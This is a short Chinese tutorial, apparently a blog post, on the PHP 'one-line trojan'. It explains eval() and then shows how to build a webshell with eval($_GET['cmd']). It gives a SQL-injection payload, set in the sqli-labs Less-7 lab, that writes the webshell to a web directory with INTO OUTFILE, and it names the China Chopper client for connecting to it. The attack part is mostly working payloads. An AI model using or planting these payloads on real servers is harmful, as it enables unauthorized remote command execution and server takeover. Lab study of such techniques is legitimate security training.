PHP 一句话木马

时间:2021-11-16 18:14:11

eval 函数

eval() 函数把字符串按照 PHP 代码来计算
该字符串必须是合法的 PHP 代码,且必须以分号结尾
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

eval 函数的一般用法

eval() 函数用于简单的文本合并
<?php
$string='cup';
$name='coffee';
$str='This is a $string with my $name in it.';
echo $str."\n";
eval("\$str=\"$str\";");
echo $str."\n";
?>

以上例程会输出

PHP 一句话木马

eval() 函数的特殊用法

用于构造一句话木马

eval($_GET["cmd"]);

两种方式

通过数据库写马

环境:sql_labs Less-7

写入一句话木马

union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile 'd:/wampserver/wamp64/www/sqli/sqli/Less-7/twx.txt'%23 

使用中国菜刀进行连接

PHP 一句话木马

可以访问并操作服务器文件

PHP 一句话木马

通过PHP 文件写马

<?php
eval($_GET["cmd"]);
?>

访问PHP 文件,查看phpinfo()

PHP 一句话木马